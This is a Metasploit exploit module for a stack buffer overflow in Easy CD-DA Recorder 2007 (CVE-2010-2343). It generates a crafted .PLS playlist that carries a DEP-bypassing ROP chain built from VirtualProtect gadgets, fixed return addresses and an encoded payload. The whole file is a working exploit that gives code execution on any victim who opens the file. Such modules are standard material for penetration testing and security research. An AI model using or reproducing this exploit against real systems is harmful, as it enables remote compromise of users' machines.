Easy CD-DA Recorder PLS Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
Easy CD-DA Recorder 2007, caused by a long string in a playlist entry.  
By persuading the victim to open a specially-crafted .PLS file, a  
remote attacker could execute arbitrary code on the system or cause  
the application to crash. This module has been tested successfully on  
Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'chap0', # Vulnerability discovery and original exploit  
'Gabor Seljan', # Metasploit module  
'juan vazquez' # Improved reliability  
],  
'References' =>  
[  
[ 'BID', '40631' ],  
[ 'EDB', '13761' ],  
[ 'OSVDB', '65256' ],  
[ 'CVE', '2010-2343' ],  
[ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'DisableNops' => true,  
'BadChars' => "\x0a\x3d",  
'Space' => 2454,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500  
},  
'Targets' =>  
[  
[ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',  
# easycdda.exe 3.0.114.0  
# audconv.dll 7.0.815.0  
{  
'Offset' => 1108,  
'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 7 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])  
],  
self.class)  
  
end  
  
def nops  
return make_nops(4).unpack("V").first  
end  
  
def rop_nops(n = 1)  
# RETN (ROP NOP) [audconv.dll]  
[0x1003d55d].pack('V') * n  
end  
  
def exploit  
  
# ROP chain generated by mona.py - See corelan.be  
rop_gadgets =  
[  
0x1007261e, # POP EDX # RETN [audconv.dll]  
0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe]  
0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]  
0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]  
0x1005d288, # POP EBP # RETN [audconv.dll]  
0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe]  
0x1005cc2d, # POP EBX # RETN [audconv.dll]  
0x00000996, # 0x00000996-> EBX  
0x1008740c, # POP EDX # RETN [audconv.dll]  
0x00000040, # 0x00000040-> EDX  
0x1001826d, # POP ECX # RETN [audconv.dll]  
0x004364c6, # &Writable location [easycdda.exe]  
0x00404aa9, # POP EDI # RETN [easycdda.exe]  
0x100378e6, # RETN (ROP NOP) [audconv.dll]  
0x0042527d, # POP EAX # RETN [easycdda.exe]  
nops,  
0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]  
].flatten.pack('V*')  
  
sploit = rop_nops(target['Offset'] / 4)  
sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]  
sploit << [target.ret].pack("V")  
sploit << rop_nops(22)  
sploit << rop_gadgets  
sploit << payload.encoded  
sploit << rand_text_alpha_upper(10000) # Generate exception  
  
# Create the file  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(sploit)  
  
end  
end  
  
`